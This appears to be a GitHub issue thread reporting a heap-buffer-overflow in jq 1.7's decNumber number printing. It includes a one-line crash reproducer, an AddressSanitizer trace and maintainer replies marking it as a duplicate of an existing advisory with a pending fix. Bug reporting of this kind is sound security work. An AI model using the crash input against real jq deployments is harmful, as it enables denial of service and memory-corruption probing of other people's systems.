heap-buffer-overflow in jq1.7 at decNumber.c

[3iang]

parsing a very small number can trigger a heap overflow in jq 1.7:

echo "-2645e-1141622225" | ./jq

It can be reproduced by compiled with ASan enable.

=================================================================
==60947==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300000e0c2 at pc 0x559017f6886b bp 0x7fff75fa12c0 sp 0x7fff75fa12b8
WRITE of size 1 at 0x60300000e0c2 thread T0
    #0 0x559017f6886a in decToString /src/json/jq-1.7/src/decNumber/decNumber.c:3764:5
    #1 0x559017f61187 in decNumberToString /src/json/jq-1.7/src/decNumber/decNumber.c:449:3
    #2 0x559017e70f20 in jvp_literal_number_literal /src/json/jq-1.7/src/jv.c:653:5
    #3 0x559017e70f20 in jv_number_get_literal /src/json/jq-1.7/src/jv.c:668:12
    #4 0x559017f3a33b in jv_dump_term /src/json/jq-1.7/src/jv_print.c:231:35
    #5 0x559017f3fd9c in jv_dumpf /src/json/jq-1.7/src/jv_print.c:368:3
    #6 0x559017f3fd9c in jv_dump /src/json/jq-1.7/src/jv_print.c:372:3
    #7 0x559017e291d7 in process /src/json/jq-1.7/src/main.c:223:7
    #8 0x559017e25b5c in main /src/json/jq-1.7/src/main.c:749:15
    #9 0x7fe3c064dd8f  (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: a43bfc8428df6623cd498c9c0caeb91aec9be4f9)
    #10 0x7fe3c064de3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: a43bfc8428df6623cd498c9c0caeb91aec9be4f9)
    #11 0x559017d5b854 in _start (/src/json/temp/jq+0x63854) (BuildId: b61e752b065362e820b259d049f0cc5aafacbed5)

0x60300000e0c2 is located 0 bytes to the right of 18-byte region [0x60300000e0b0,0x60300000e0c2)
allocated by thread T0 here:
    #0 0x559017dde69e in __interceptor_malloc (/src/json/temp/jq+0xe669e) (BuildId: b61e752b065362e820b259d049f0cc5aafacbed5)
    #1 0x559017ea1f32 in jv_mem_alloc /src/json/jq-1.7/src/jv_alloc.c:141:13
    #2 0x559017f3fd9c in jv_dumpf /src/json/jq-1.7/src/jv_print.c:368:3
    #3 0x559017f3fd9c in jv_dump /src/json/jq-1.7/src/jv_print.c:372:3

SUMMARY: AddressSanitizer: heap-buffer-overflow /src/json/jq-1.7/src/decNumber/decNumber.c:3764:5 in decToString
Shadow bytes around the buggy address:
  0x0c067fff9bc0: fa fa fd fd fd fa fa fa fd fd fd fa fa fa fd fd
  0x0c067fff9bd0: fd fa fa fa fd fd fd fa fa fa fd fd fd fa fa fa
  0x0c067fff9be0: fd fd fd fa fa fa fd fd fd fa fa fa fd fd fd fa
  0x0c067fff9bf0: fa fa fd fd fd fa fa fa fd fd fd fd fa fa 00 00
  0x0c067fff9c00: 00 00 fa fa 00 00 05 fa fa fa 00 00 07 fa fa fa
=>0x0c067fff9c10: 00 00 00 fa fa fa 00 00[02]fa fa fa fa fa fa fa
  0x0c067fff9c20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff9c30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff9c40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff9c50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff9c60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==60947==ABORTING

[wader]

@emanuele6 dup of GHSA-4rf8-j6pg-fhmf?

[emanuele6]

yes, public dup of a security report that already had a security report dup, and was also reported by OSS-fuzz; oh well. =)

[emanuele6]

We have had the fix ready for a while, it will land on the next release!